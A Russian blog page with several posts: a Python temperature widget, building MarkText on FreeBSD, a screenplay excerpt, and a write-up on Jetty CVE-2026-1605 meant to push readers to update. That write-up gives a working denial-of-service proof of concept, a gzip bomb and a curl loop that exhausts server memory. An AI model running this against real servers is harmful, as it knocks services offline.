Alex Chernyshev

Мой маленький мониторинг

2026-03-25T12:21:31.258Z

Делюсь очередной полезной штукой из личных разработок, на этот раз на тему мониторинга температуры в компьютере.

~120 строк на Python.

Правый верхний угол, старая версия - с прозрачным фоном.

Задача

Честно говоря, задача мониторинга температуры это такой своеобразный «неуловимый Джо» — ~~ненужная~~ мелкая ерунда, реализуемая в больших системах для галочки и по остаточному принципу.

Ну и конечно отображение температуры с датчиков персонального компьютера давным давно реализовано и присутствует в виде виджета во всех основных графических окружениях и для любых ОС.

Чаще всего это выглядит как-то так:

Найдите тут температуру.

Это все к вопросу об уникальности, важности и полезности решения, как бы заранее отвечая на самый важный вопрос ~~бытия~~: «нах#я я все это читаю».

Кстати одна из первых разработанных автором систем была как раз на тему мониторинга температуры у парка серверов.

Дело было давно и сервера (как и сетевое оборудование) стояли не в охлаждаемых и чистых серверных, а где придется.

С соответствующими последствиями по перегреву.

Выглядело оно как-то так:

Данные тестовые, разумеется а сам мониторинг запущен в режиме отладки, локально.

Так выглядит виновник сегодняшнего торжества:

Исходный код можно посмотреть чуть ниже в статье или вот тут в виде gist. Теперь рассказываю подробнее как оно все работает.

Кстати думаю для многих станет сюрпризом, что X-сервер позволяет рисовать графические элементы и текст в чужих окнах.

Без предупреждения, без индикации, без каких-то отдельных прав и тд.

Очко сотрудников СБ только что заиграло новыми красками.

Реализация

Поскольку у автора используется тот еще зоопарк разных систем, хотелось сделать максимально переносимое решение.

Хардкодить все на чистом С я посчитал излишним, поэтому был взят Python и библиотека Xlib, которая есть везде, куда еще не добрались проклятые зумеры со своим Wayland.

К моему великому сожалению, оказалось что знаменитая связка Tcl/Tk не умеет работать с root window, поэтому использовать их не получится.

Именно поэтому был взят петон, да.

Собственно эта библиотека является единственной внешней зависимостью в этом проекте, для FreeBSD устанавливается вот так:

pkg install py311-python-xlib

Аналогичные пакеты есть в любом линуксе и BSD. Теперь стоит рассказать про сами датчики.

Датчики температуры в случае FreeBSD отдают свои значения через sysctl и требуют подгрузки специального модуля ядра.

Чаще всего это будет coretemp:

kldload coretemp

Чтение значений датчиков будет выглядеть как-то так:

Для процессоров AMD есть отдельный модуль amdtemp:

kldload amdtemp

Названия датчиков отличаются, поэтому для чтения используется немного другой паттерн:

sysctl dev.amdtemp.0 |grep core

В случае линукса температуру с датчиков можно получить из специальной виртуальной файловой системы /dev:

cat /sys/class/thermal/thermal_zone*/temp

Так это выглядит в работе:

В работе на процессоре AMD

Исходный код

Ниже представлен полный исходный код моей утилиты, технически это shebang — самозапускаемый скрипт на Python, поэтому его нужно сохранить с расширением .sh и поставить бит запуска.

Собственно код:

#!/usr/bin/env python3

import Xlib
from Xlib import display, X   # display и X - не импортируются автоматически
import subprocess,time,logging

#настройки логирования
logging.basicConfig(level=logging.INFO)
#logging.basicConfig(level=logging.DEBUG)

# координаты на экране для отображения
POS_X = 150
POS_Y = 50
# для FreeBSD и машины с AMD
PATTERN = 'sysctl dev.amdtemp.0 |grep core'
# для FreeBSD с модулем coretemp
#PATTERN = 'sysctl dev.cpu |grep temperature'
# для Linux
#PATTERN = "cat /sys/class/thermal/thermal_zone*/temp | awk '{ print \"temp: \" ($1 / 1000) \"C\" }'"
# шрифт
FONT = '-misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-1'
# период обновления
REFRESH_SECS = 15

last_dim = [0,0]

# определение рабочего стола
# d - display (экран)s
def get_root_window(d):
    
    screen = d.screen()
    # root window - рабочий стол по-умолчанию
    root = screen.root

    # Получаем ID всех окон верхнего уровня
    windowIDs = root.get_full_property(d.intern_atom('_NET_CLIENT_LIST'), 
                                                  X.AnyPropertyType).value
    logging.debug('Found %d windows.',len(windowIDs))

    for windowID in windowIDs:
        # Create a window object from the ID to access its properties
        window = d.create_resource_object('window', windowID)

        try:
            # Get the window title (WM_NAME or _NET_WM_NAME)
            # Use get_wm_name() for simplicity, 
            # or look up EWMH properties for better compatibility
            window_name = window.get_wm_name()
            if window_name:
                # в продвинутых DE вроде KDE/Xfce за рабочий стол отвечает
                # отдельное окно и рисовать придется в нем
                if 'Desktop' in window_name:
                    logging.debug("Found desktop ID: %d - Name: %s",
                                                 windowID,window_name)
                    return window
            else:
                # Бывает, что у окна нет заголовка
                logging.debug("ID: %d - Name: None (no WM_NAME property)",
                                                 windowID)

        except X.BadWindow:
            # Обработка ситуации, когда считываемое окно больше не существует
            logging.debug("ID: %d - Window no longer exists",windowID)
    # если отдельного окна с именем Desktop не обнаружено - рисуем
    # прямо на root window 
    return root

# очистка области
def clear_rect(msg):
    global last_dim
    # если есть сохраненные размеры - используем их
    if last_dim[0] > 0:	
    	root.fill_rectangle(gc2, POS_X,POS_Y-last_dim[1], 
    	                         last_dim[0]-20, last_dim[1]+5)
    else:
        # расчет размеров надписи в пикселях
        text_extents = font.query_text_extents(msg)
        tw = text_extents.overall_width
        th = text_extents.font_ascent + text_extents.font_descent
        # очистка происходит через отрисовку черного прямоугольника
        # clear_area плохо работает с KDE
        root.fill_rectangle(gc2, POS_X,POS_Y-th, tw-20, th+5)
        # запоминаем размеры надписи для следующей очистки
        last_dim = [tw,th]

# отрисовка сообщения на экране
# msg - текст сообщения
def draw_message(msg):
    # очистка области
    clear_rect(msg)
    # отрисовка текста
    root.draw_text(gc, POS_X, POS_Y, msg)
    display.flush()

# инициализация подключения к Х-серверу
display = Xlib.display.Display()
screen = display.screen()
root = get_root_window(display)

# Access the window ID (an integer)
root_id = root.id

logging.debug("Root window ID: %d",root_id)
# для реакции на события
root.change_attributes(event_mask=X.ExposureMask)  # "adds" this event mask
# создание графического контекста, белый текст на черном фоне
gc = root.create_gc(foreground = screen.white_pixel, 
                    background = screen.black_pixel)
# дополнительный контекст для заливки области черным
colormap = screen.default_colormap
color = colormap.alloc_named_color('black') 
gc2 = root.create_gc(foreground=color.pixel)

# загружаем шрифт, которым будет отрисовываться текст
# если шрифт с таким названием не будет найден - вылетит ошибка
try:
    font = display.open_font(FONT)
    gc.font = font.id
except Exception as e:
    logging.exception(e)
    exit(1)

try:
    # бесконечный цикл, в котором происходит все действо
    while 1:
            # запуск процесса для получения значений датчиков
            process = subprocess.Popen(PATTERN, 
                    shell=True, text=True,
                    stdout=subprocess.PIPE)
            # в этой переменной будет массив строк со значениями   
            stdout_list = process.communicate()[0].split('\n')

            out = ''
            # делаем чистку
            for s in stdout_list:
                # убираем ошибочные строки, если нет : - нет и значения
                if ':' not in s: continue
                kv = s.split(':')
                # добавляем запятую в качестве разделителя 
                if len(out) > 0: out+= ','
                # добавляем значение датчика в строку
                out+= kv[1]

            logging.debug(out)
            # отрисовываем полученную строку
            draw_message(out.encode())
            # задержка между итерациями
            time.sleep(REFRESH_SECS)
            
except KeyboardInterrupt:
        # при нажатии Ctrl-C делаем очистку области экрана, где
        # происходила отрисовка виджета
        x = POS_X // 2
        y = POS_Y // 2
        root.clear_area(x,y,last_dim[0]+x,last_dim[1]+y,True)
        display.flush()

Как видите тут нет ООП и нет многопоточности — реализация максимально упрощена. Также не стал городить считывание параметров, поэтому ключевые настройки находятся в самом скрипте.

Настройка логирования:

logging.basicConfig(level=logging.INFO)
#logging.basicConfig(level=logging.DEBUG)

Координаты для отображения на экране (левый нижний угол):

POS_X = 150
POS_Y = 50

Выбор паттерна для считывания значений датчиков:

# для FreeBSD и машины с AMD
PATTERN = 'sysctl dev.amdtemp.0 |grep core'
# для FreeBSD с модулем coretemp
PATTERN = 'sysctl dev.cpu |grep temperature'
# для Linux
PATTERN = "cat /sys/class/thermal/thermal_zone*/temp | awk '{ print \"temp: \" ($1 / 1000) \"C\" }'"

Шрифт, которым будут отображаться значения температуры, указывается в специальном формате:

FONT = '-misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-1'

Частота обновлений в секундах:

REFRESH_SECS = 15

Так виджет выглядит на Ubuntu и Xfce:

Запускаем MarkText на FreeBSD

2026-03-16T08:09:51.482Z

Очередные ужасы из тяжкой жизни пользователей BSD или что делать, когда нужная программа ненавидит вашу операционную систему.

В помощь начинающему, продолжающему и заканчивающему автору.

Очко электрона

Следующим по уровню безнадежности занятием на FreeBSD, после нейросетей и разработки на .NET является работа с приложениями на Electron.

Широкие народные массы требуют это и уже очень давно:

Но ввиду разных причин (в первую очередь идеологических), официальной поддержки все также нет.

И скорее всего не будет никогда.

Зато есть неофициальный форк, который успешно заехал в пакетную базу и довольно давно там живет.

Форк очень даже живой:

Как можно заметить из истории коммитов выше — идет активная разработка и прием пул-реквестов.

Но как обычно есть нюанс:

Electron это фреймворк для построения десктоп-приложений с помощью одноименного движка.

Но портировали на FreeBSD только движок Electron, без средств сборки конечных приложений на нем.

Речь в первую очередь про electron-builder:

A complete solution to package and build a ready for distribution Electron, Proton Native app for macOS, Windows and Linux with “auto update” support out of the box.

Это не означает, что приложение на Electron не будет работать на FreeBSD совсем, но и не значит, что полноценная разработка таких приложений там возможна.

Немного работает — так это обычно описывают.

MarkText

MarkText это такой редактор для Markdown-разметки, один из самых лучших, известных и популярных:

A simple and elegant open-source markdown editor that focused on speed and usability.

Именно его я использую для верстки своих статей и документации.

К сожалению редактор построен на том самом Electron, поэтому для нормальных людей, не отягощенных двумя десятилетиями разработки нет вариантов его использования на FreeBSD — ни в Wine, ни с помощью слоя совместимости с Linux эта штука не работает.

Хотя пожелания есть:

Скотская сборка

Как бы это ни было удивительно, но Node.js и npm давно и успешно работают во FreeBSD, поэтому все спокойно устанавливается из пакетов:

pkg install node25 electron37 npm-node25

Забираем исходники редактора:

git clone --depth 1 https://github.com/marktext/marktext.git

Активная разработка по какой-то причине остановлена, народ начинает беспокоиться, поэтому я не стал заморачиваться релизными версиями и собирал из текущей ветки.

Сборка использует еще один пакетный менеджер — yarn, который необходимо установить с помощью npm:

npm -g i yarn

Дальше начинается первый нюанс:

необходимо отключить скачивание бинарной сборки Electron, поскольку ее не существует для FreeBSD.

Перед запуском скачивания зависимостей, необходимо выставить специальную переменную:

export ELECTRON_SKIP_BINARY_DOWNLOAD=1 
yarn install

Через какое-то время (скачивание зависимостей в проекте на Node.js — очень долгий и болезненный процесс) в корневом каталоге должна появиться папка node_modules откровенно скотских размеров:

Следующим шагом необходимо убрать искусственную заглушку, вставленную автором MarkText для того чтобы редактор не пытались запускать там где не надо — частая практика для проектов на Electron.

В файле src/main/index.jsесть вот такой замечательный код:

// NOTE: We only support Linux, macOS and Windows but not BSD nor SunOS.
if (!/^(darwin|win32|linux)$/i.test(process.platform)) {
  process.stdout.write(`Operating system "${process.platform}" is not supported! Please open an issue at "https://github.com/marktext/marktext".\n`)
  process.exit(1)
}

Не представляю кто смог упороться до такой степени, чтобы гонять десктоп-приложение на Electron на Солярисе, но думаю не будет откровением, что вызов process.exit(1) необходимо закомментировать для продолжения банкета.

Теперь переходим к собственно сборке.

Штатно сборка MarkText происходит вызовом команды yarn build, но если посмотреть внутрь файла package.json, в котором находятся все команды сборки, увидим:

..
"build": "node .electron-vue/build.js && electron-builder",
..

Вызов electron-builder очевидно упадет, поскольку он не был портирован на FreeBSD и плотно завязан на готовые бинарные части и ветвления логики под конкретную поддерживаемую ОС.

Так что вызываем лишь первую часть, причем вручную (без всяких yarn):

node .electron-vue/build.js

Должен отработать webpack, sass и в каталоге dist будет находиться готовое к запуску приложение на Electron.

К сожалению в «обнаженном» виде, без прилепленного рантайма, что однако никак не мешает его запустить:

electron37 dist/electron/main.js

Так выглядит запущенный MarkText на FreeBSD, в работе над английскими версиями статей:

Для удобства использования можно перенести каталоги dist и node_modules в отдельное место:

И запускать вот таким скриптом:

#!/bin/sh

/usr/local/bin/electron37 dist/electron/main.js

Готовый архив со сборкой можно скачать в нашем Телеграм-канале.

Март, Jetty и утекшая память

2026-03-10T11:10:40.924Z

За окном весна, на улице уже вовсю и ярко светит солнце, поют птички и тает последний снег. А в знаменитом сервере Jetty обнаружилась новая дыра космических масштабов.

Почти 4Гб сожранной памяти меньше чем за минуту работы.

Статус

Номер уязвимости: CVE-2026-1605

Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Уровень: 7.5 HIGH

acidburn96: хочешь фокус покажу

alex0x08: только не как в прошлый раз ж)

acidburn96: стенд проекта [вырезаноцензурой] еще работает?

alex0x08: работает, пока еще не успели снести

acidburn96: открой его в браузере

alex0x08: открыл

alex0x08: и что дальше?

acidburn96: жди

acidburn96: проверяй

acidburn96: жми F5

alex0x08: так блин

alex0x08: слыш Копперфильд

alex0x08: и где стенд? куда все делось?

Шапка с описанием уязвимости в Github Advisory Database, который я теперь читаю каждое утро вместо новостей.

Уязвимость

Еще в январе 2026 года в проекте Eclipse Jetty — такой очень известный сервлет-контейнер для Java, была обнаружена серьезная проблема с обработкой сжатых входящих запросов.

Догадываюсь, что далеко не всем из читателей известно о том что помимо сжатых ответов (статику сжимают наверное все), бывают еще и сжатые запросы к веб-серверам, поэтому вот тут немного больше информации о таком замечательном функционале.

Как бы то ни было, в начале марта информация по этой проблеме была выложена в публичный доступ.

Правда без PoC и с весьма мутным описанием:

The leak is created by requests where the request is inflated (Content-Encoding: gzip) and the response is not deflated (no Accept-Encoding: gzip). In these conditions, a new inflator will be created by GzipRequest and never released back into GzipRequest.__inflaterPool because gzipRequest.destory() is not called.

Что впрочем не помешало восстановить логику работы по одним только коммитам с исправлениями.

В чем суть:

при обработке входящих запросов к серверу с заголовком Content-Encoding: gzip и сжатым содержимым, в некоторых случаях происходит утечка памяти.

Чтобы это сработало, необходимо чтобы клиент присылал только заголовок Content-Encoding: gzip, но не присылал Accept-Encoding: gzip, по наличию которого включается сжатие ответов.

Надо заметить, что в обычной жизни такая комбинация невозможна и например Google Chrome отправляет заголовок Accept-Encoding: gzip всегда, вне зависимости от того сжат ли запрос.

Зона риска

Хотя проблема затрагивает только 12ю версию Jetty, но зато все релизы с 2023 года и по март 2026го, страшные красные плашки на артефактах вот тут не дадут соврать.

Поскольку Jetty чаще всего используется как встраиваемый движок, а не отдельно устанавливаемое приложение — в зоне риска все проекты, которые использовали или используют артефакт jetty-server за последние три года.

Что-то около четырех с половиной тысяч проектов, согласно статистике.

Но есть что-то и хорошее во всем этом бесконечном мраке ужаса и отчаяния:

обработка сжатых запросов и ответов по-умолчанию выключена и требует отдельной настройки.

Правда эта настройка чуть ли не первое, что включают на реальном продакшне при сколь-нибудь существенной нагрузке, но не будем снова о грустном.

Исправление

На момент написания этих строк, проблема уже исправлена.

Для ветки 12.1.х начиная с 12.1.6, для более ранней и стабильной 12.0.х — начиная с 12.0.32.

Если в вашем проекте Jetty используется в виде зависимости, вроде:

<dependency>
            <groupId>org.eclipse.jetty</groupId>
            <artifactId>jetty-server</artifactId>
            <version>12.1.5</version>
</dependency>

Достаточно лишь изменить версию на исправленную и обновиться.

Но на свете существует еще и такая зверская вещь как Spring Boot — огромный современный фреймворк, который давно стал стандартом «де-факто» для всей бекэнд-разработки на Java.

Spring Boot активно использует Jetty в качестве одного из главных сервлет-контейнеров:

Обратите внимание на номер версии в зависимости Jetty, а ведь 4.0.2 совсем недавно считалась свежей и использовалась повсеместно.

Версии Spring Boot с исправленным Jetty начинаются с 4.0.3, но обновлять сам Spring Boot — то еще приключение.

Так что для многих весна станет очень тяжелой.

Демонстрация

Описание уязвимости это конечно хорошо, но к сожалению серьезных дыр стало настолько много в последнее время, что глаз безопасника замылился — уже не реагирует на проблемы слабее RCE и статуса «Critical».

Так что было решено провести демонстрацию — собрать уязвимый стенд и попробовать его завалить.

Может хоть это заставит кого-то из читателей обновиться.

Тестовое приложение

Поскольку Jetty это только сервлет-контейнер, HTTP-запросы все равно должны обрабатываться каким-нибудь конечным сервлетом.

Поэтому для проверки уязвимости был сотворен вот такой простейший сервлет:

package com.Ox08.vuln.cve20261605;

import jakarta.servlet.ServletInputStream;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
/*
    Простейший сервлет для демонстрации CVE-2026-1605
*/
@WebServlet("/yo")
public class TestServlet extends  HttpServlet {   
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        resp.setContentType("text/plain");
        PrintWriter out = resp.getWriter();
        out.printf("Request at: %d%n", System.currentTimeMillis());

        try (ServletInputStream in = req.getInputStream()) {
            // вызов чтения данных запустит распаковку запроса
            byte[] data = in.readAllBytes();
            out.printf("Request size: %d%n", data.length);
        }
    }
}

Все что делает код выше это лишь чтение тела POST-запроса и отдача двух строк как «plain text»: таймстампа запроса и размера полученных данных.

Тут нет ни сложной потоковой обработки, ни Mutipart-запросов — все гораздо проще, отчего и страшнее.

Собрать можно любой средой разработки для Java, хоть что-то знающей о сервлетах, например в Intellij Idea.

Тестовый Jetty

Помимо тестового приложения, необходима еще и уязвимая версия Jetty.

Для чистоты эксперимента, была взята версия 12.1.5 , последняя в ветке 12.1.х до исправления, которую можно скачать тут.

Скачиваем и распаковываем:

wget https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/12.1.5/jetty-home-12.1.5.zip
unzip jetty-home-12.1.5.zip

Следующим шагом необходимо подготовить рабочий каталог Jetty, поскольку с недавних пор сервер Jetty с библиотеками и скриптами отделен от рабочей области, в которой происходит развертывание веб-приложений:

mkdir jetty-work
cd jetty-work
export JETTY_HOME=../jetty-home-12.1.5

Включаем основные модули:

java -jar $JETTY_HOME/start.jar --add-modules=server,http,ee11-deploy,ee11-jsp

Включаем модуль gzip:

java -jar $JETTY_HOME/start.jar --add-modules=gzip

Тут стоит заметить, что модуль gzip начиная с версии 12.1.х помечен как «deprecated» т. е. устаревший, с предложением перехода на его замену — модуль compression-gzip.

Но во-первых ~~это Jetty~~ непонятно как долго продлится такой переход, во-вторых более старую версию 12.0.х никто не отменял — ее поддержка точно продолжится минимум на этот год.

В третьих, в наш век погони за метриками и красивыми отчетами, в порядке вещей специально глушить сообщения об устаревании, как поступили для примера парни из Spring.

После добавления, модуль gzip еще надо дополнительно настроить, для чего задаем следующие настройки в файле $JETTY_HOME/start.d/gzip.ini:

## Minimum content length after which gzip is enabled
jetty.gzip.minGzipSize=32

## Inflate request buffer size, or 0 for no request inflation
jetty.gzip.inflateBufferSize=4096

## Comma separated list of included HTTP methods
jetty.gzip.includedMethodList=GET,POST

Дополнительно я еще включил логирование через Logback:

java -jar $JETTY_HOME/start.jar --add-modules=logging-logback

Поскольку по какой-то причине стандартный JCL не хотел работать с сообщениями из модуля gzip.

После добавления модуля, появится файл resources/logback.xml с настройками логирования по-умолчанию.

Внутрь необходимо добавить строку:

 <logger name="org.eclipse.jetty.server.handler.gzip" level="DEBUG" />

Копируем наше тестовое приложение gziptest.war в каталог $JETTY_HOME/webapps и наконец запускаем наш уязвимый Jetty:

java -jar $JETTY_HOME/start.jar

Теперь переходим к формированию специального запроса-убийцы.

Запрос-убийца

Шатать так шатать, для демонстрации процесса была подготовлена классическая ZIP-бомба — огромный пустой файл, который будучи сжатым имеет смешные размеры, но при распаковке создает массу веселья.

Так выглядит процесс создания:

dd if=/dev/zero of=./1g.bin bs=1G count=1
gzip ./1g.bin

А так — сам скрипт «бомбометания»:

#!/bin/bash
export TARGET=http://localhost:8080/gziptest/yo
for i in `seq 1 2000000`; do 
curl -v -s --data-binary @1g.bin.gz -H "Content-Encoding: gzip" $TARGET;
done

Он сознательно сделан максимально простым, без участия сети, без параллельных запросов и генерации контента — чтобы можно было показать быстрый рост используемой памяти — ту самую утечку.

Запускаем и буквально после второго же запроса наблюдаем OOM:

Эта ошибка - причина многих бессонных ночей, проведенных за отладкой и отловом причины.

Про OutOfMemory

Теперь наверное стоит сделать лирическое отступление и пояснить общественности саму проблематику ошибки OutOfMemoryError.

Поведение приложения на Java при утечке памяти достаточно сильно отличается от аналогичного, например на Golang или C++.

Отличается отнюдь не в лучшую сторону.

Если в аналогичной ситуации с утечкой памяти сервис на Golang просто и банально упадет, позволив отработать watchdog, то сервис, реализованный на Java и словивший OOM.. продолжит работать.

Но только поведение сервиса станет непредсказуемым.

Какие-то запросы (если они помещаются в остатки памяти) продолжат отрабатывать и отдаваться пользователям, какие-то — начнут порождать ошибки.

Если использовался шаблонизатор страниц вроде JSP/JSF с частичной компиляцией и кешированием — то что попало в кеш до OOM продолжит работать, если использовался Thymeleaf или Freemaker то скорее всего все сразу сломается.

Тоже самое с Hibernate ORM и запросами к СУБД — то что успело закешироваться продолжит работать и отдавать данные, то что нет — будет порождать самые разнообразные ошибки с удивительными трассировками, о которых не знает даже Google и нейросети.

Появятся ошибки записи в файлы, ошибки чтения, ошибки транзакций — в Java (в обычных проектах) все это просто не рассчитано на работу при OOM.

Думаю несложно догадаться, что при таких вводных даже реализация «сторожевого пса» (Watchdog) для сервиса на Java представляет проблему.

Доходит до того, что реализации watchdog вешают свои обработчики непосредственно на ошибку OutOfMemoryError, по которой убивают процесс и запускают заново.

Поэтому OOM для Java это что-то вроде Ахиллесовой пяты — мелкая ерунда, которая может убить великана.

Причем не сразу насмерть, а долго и мучительно.

Но вернемся к нашей проблеме.

Эпилог

Стоит только добавить заголовок Accept-Encoding: gzip к запросу и все замечательно работает:

export TARGET=http://localhost:8080/gziptest/yo
curl -v -s --data-binary @1g.xml.gz -H "Content-Type: text/xml" -H "Accept-Encoding: gzip" -H "Content-Encoding: gzip" $TARGET;

Наш запрос-убийца сразу стал белым и пушистым — никаких OutOfMemory больше нет, ответы уходят, память очищается:

Собственно внутри GzipResponseAndCallback и происходило корректное освобождение ресурсов до исправления.

Напоследок покажу, как выглядит утечка в профайлере VisualVM:

Не так эпично, как на заглавной картинке, но тоже неплохо.

Веселые каникулы

2026-03-07T00:48:21.875Z

Короткий метр.

Драма, черная комедия, Питер.

Визуальный стиль — нечто среднее между диснеевским мультиком и фильмами Тарантино. Ярко, но кроваво.

Успешный, состоятельный бизнесмен и семьянин, а в прошлом — отмороженный бандит и член ОПГ, вынужден бежать в Россию-матушку после долгой жизни заграницей, из-за санкций.

Где придется столкнуться с бывшими коллегами по опасному делу, у которых накопились к нему серьезные вопросы.

Все действие происходит одним летним днем в Питере.

1. НАТ. ПОДВОРОТНЯ.

Залитая кровью подворотня, повсюду следы побоища и раскиданы тела молодых туристов — парни и девушки, в разных интересных позах.

Где-то вдали слышен детский смех, в соседнем дворе дети играют в футбол. За резной решеткой 19го века, закрывающей выход из двора — шум улицы, там ездят машины и ходят люди.

У входа в подвальный бар «Дух девяностых» на ступеньках сидит едва живая, залитая кровью юная девушка (19). Мелко дрожит, плачет и прижимает руки к окровавленному животу.

Ее совсем недавно пырнули ножом.

Из бара поднимается крепкого вида мужчина (50) со спортивной сумкой через плечо. Одежда немного порвана и в грязи, на руках сбитые костяшки с содранной от свежих ударов кожей.

Замечает девушку и присаживается рядом.

Какое-то время они просто сидят рядом, затем мужчина начинает говорить.

АРТУР

Понимаю, не самый лучший момент для подобных вопросов..

(слышится глухой взрыв, из подвального помещения бара начинает валить черный дым)

Но все же..

Вы успели.. побывать в Эрмитаже?

(камера медленно обводит залитый кровью двор и валяющиеся трупы)

Там.. просто невероятно красиво!

2. ИНТ. МАШИНА В ДВИЖЕНИИ.

Салон представительского мерседеса.

Пассажиры на заднем сидении — семейная пара, Михаил — муж, крепкий мужчина в дорогом костюме (50), Анна — жена, красивая ухоженная женщина (40), в дорогой одежде.

АННА

(крутит в руке свежую, только вчера напечатанную визитку мужа, затем читает)

SENIOR VICE PRESIDENT

FALCO INVESTMENTS LTD

(смотрит на мужа с любовью и обожанием)

Как же я рада, что вышла за тебя, Миша.

Все будет хорошо, ты обязательно справишься.

МИХАИЛ

Справлюсь.

Всегда справлялся.

АННА

Только пожалуйста не ходи.. Не ходи на эту встречу.

Это страшные и жестокие люди..

Сердцем чую — быть беде.

МИХАИЛ

(кладет ладонь поверх руки жены и успокаивает):

Все будет нормально, дорогая.

Девяностые давно прошли. Все успокоились..

(пауза)

..кто выжил конечно.

Теперь у всех семьи, дети. Бизнес, в конце концов.

Все стало совсем по-другому, понимаешь?

Другая жизнь кругом.

(кивает на строящийся за окном новый жилой комплекс)

Вон сколько всего понастроили!

(смотрит в даль, рассматривая детали)

Даа..

Как же тут все изменилось..

(показывает пальцем вдаль)

Вот тут.

Тут когда-то пустырь был.

Где Коляна зарезали..

А теперь погляди: дома красивые, дети играют. Мамы с колясками.

Красота!

(внезапно вспоминая, со смешком обращаясь к жене)

Шефа-то, шефа — помнишь?

Сказали артрит разбил, на старости лет.

Передвигается теперь в инвалидном кресле, представляешь?

(укоризненно)

А ты все боишься..

Не надо никого бояться.

Эта встреча лишь формальность.

Может им самим теперь моя помощь нужна.

(смотрит в окно на городской пейзаж)

С домом престарелых.

АННА

(успокаиваясь)

Только не засиживайтесь.

Вечером у нас банкет.

Будет первый зам губернатора, с женой. Важные люди.

Помнишь?

МИХАИЛ

Разумеется.

Такую рожу забудешь.

Еще и ночью будет сниться.

Со своими процентами.

Ладно.

Все будет быстро и.. четко, дорогая.

(Михаил шутливо отдает жене честь)

Артур уже наверное и забыл как дела делаются.

Спился поди давно.

Или сторчался.

Жизнь тут никого не щадит.

Начало второй сцены начинается с реплик выше.

3. НАТ. УЛИЦА СТАРОГО ПИТЕРА.

Видим старого, крепкого мужчину в спортивном костюме (50), кепке и с большой спортивной сумкой. Лица не видно.

Мужчина сворачивает в подворотню, видна старая вывеска:

БАР «ДУХ ДЕВЯНОСТЫХ». ВОДКА, ТАНЦЫ, НОСТАЛЬГИЯ. РАБОТАЕМ ДО ПОСЛЕДНЕГО КЛИЕНТА.

Внутри оказывается небольшой уютный дворик, где в подвале одного из домов и расположен искомый кабак.

Вниз ведут затертые ступеньки.

Кабак старый, с оформлением в стиле начала 90х. На стенах развешаны плакаты с героями боевиков, по радио играет попса тех времен.

Под потолком медленно крутится старый вентилятор.

4. ИНТ. БАР ДУХ ДЕВЯНОСТЫХ

Мужчина спускается вниз, заходит в заведение и окидывает взглядом пустое помещение.

АРТУР

(втягивая носом воздух)

Даже воняет как в былые времена.

(на распев)

Это все мое, родное!

(проходя к стойке)

Как же давно я тут не был.

Замечает бармена и подходит прямо к стойке. Кладет руки на стойку, наклоняется. Бармен — тощий тип с крысиной мордой вместо лица, неопределенного возраста.

Медленно протирает стаканы и смотрит с нескрываемым презрением.

Раньше тут был другой бармен..

Ты видимо новенький?

БАРМЕН

(окидывает взглядом клиента, оценивая возраст и платежеспособность)

В очереди на погребение точно буду за вами.

Чего изволите, уважаемый?

АРТУР

(пристально смотрит на бармена)

Кофею.

Американо, со сливками.

БАРМЕН

(гнусно ухмыляясь, огорченный что клиент не заказал дорогого алкоголя)

Что, в Шаббат не работаем, по субботам не пьем?

АРТУР

Врачи-убийцы пить запретили.

Но не переживай, сейчас друг подойдет.

Ему можно.

(с ухмылкой)

Ему походу теперь все можно, без моральных терзаний и последствий для здоровья.

Кассу заведению точно сделаем.

Устанете полы оттирать.

БАРМЕН

(какое-то время шарится под стойкой, затем хмуро выдает)

Сливок нет, только молоко.

Сухое.

АРТУР

Ну кто бы сомневался.

Неси что есть.

Сахару только не надо, я и так сладкий.

(озираясь и окидывая взглядом помещение)

У меня с вашим заведением крепкая духовная связь и теплые воспоминания.

(показывает на угловое место у окна)

Воон там когда-то давно меня били головой о стену.

Так и приземлюсь, хорошо?

БАРМЕН

Бомболюк только свой держите закрытым, будьте так любезны.

А то в вашем возрасте клапан уже не держит.

Бармен уходит на кухню, готовить заказ.

Артур направляется к столику.

Столик крепкий, старый, с железной основой, прикрученной к стене и полу. Чтоб можно было и сплясать и разбить лицо дорогого гостя о рабочую поверхность.

Окинув взглядом зал и убедившись что больше никого нет, а бармен где-то далеко на кухне, Артур быстро раскрывает сумку, достает Heckler & Koch MP5, привинчивает глушитель и спускается под столик.

Под столиком оказывается приделан специальный крепеж, старый и ржавый но крепкий. Камера показывает крупным планом старую наклейку из жвачки Turbo, приклеенную снизу стола.

Артур взводит оружие, переключает на стрельбу очередями и крепит оружие под столом. Садится за столик, проверяет расположение оружия и цели — делает все это явно не первый раз.

Убедившись что все хорошо, наконец успокаивается.

Смотрит на кусочек неба видный в маленьком окне под потолком — кабак расположен в подвале.

5. НАТ. У ВХОДА В БАР

Камера показывает тот самый кусочек неба, но уже без рамки окна -тот же угол съемки. Затем опускается вниз, к основной сцене.

У входа в подворотню, где расположен кабак «Дух девяностых» останавливается тот самый представительский мерседес, на аренду которого ушла половина бюджета.

Открывается задняя дверь и из машины выходит Михаил.

Используется параллельный монтаж, во время диалога Михаила с женой показываются манипуляции с автоматом.

МИХАИЛ

(обращаясь к жене, которая осталась в машине)

Дорогая все будет нормально, я быстро.

Сходи пока с детьми в театр.

В какой?

Ну.. В какой-нибудь.

Это же Питер, дорогая. Тут культуры — завались.

В кого не пальни — обязательно попадешь в режиссера или еще кого культурного.

Конечно шучу, что ты.

Нету у меня никакого оружия при себе, госспади..

Я деловой человек!

Тоже люблю тебя.

Езжай с спокойной душой, все будет нормально.

Хорошо провести время.

(закрывает дверь, дает знак водителю уезжать, машина уезжает)

В камеру:

Ну что, пришло время поработать.

Михаил разворачивается и в хорошем настроении, с улыбкой идет по направлению к кабаку.

6. ИНТ. БАР. СТОЛИК АРТУРА

Бармен с типичным для Питера выражением лица из смеси брезгливости и презрения несет кофе. Кофе хреново приготовлен, остыл еще и залит сверх всякой меры молоком.

Артур смотрит на все это, морщится и обращается к бармену.

АРТУР

Хочешь расскажу, почему всегда заказываю только Американо?

БАРМЕН

Потому что в вашем сельпо другого не наливают?

АРТУР

(укоризненно)

Не стоит хамить взрослым и незнакомым людям.

Говорят, плохая примета.

БАРМЕН

Какой чек такой и сервис, уважаемый.

Хорошее отношение к клиенту начинается с третьей стопки.

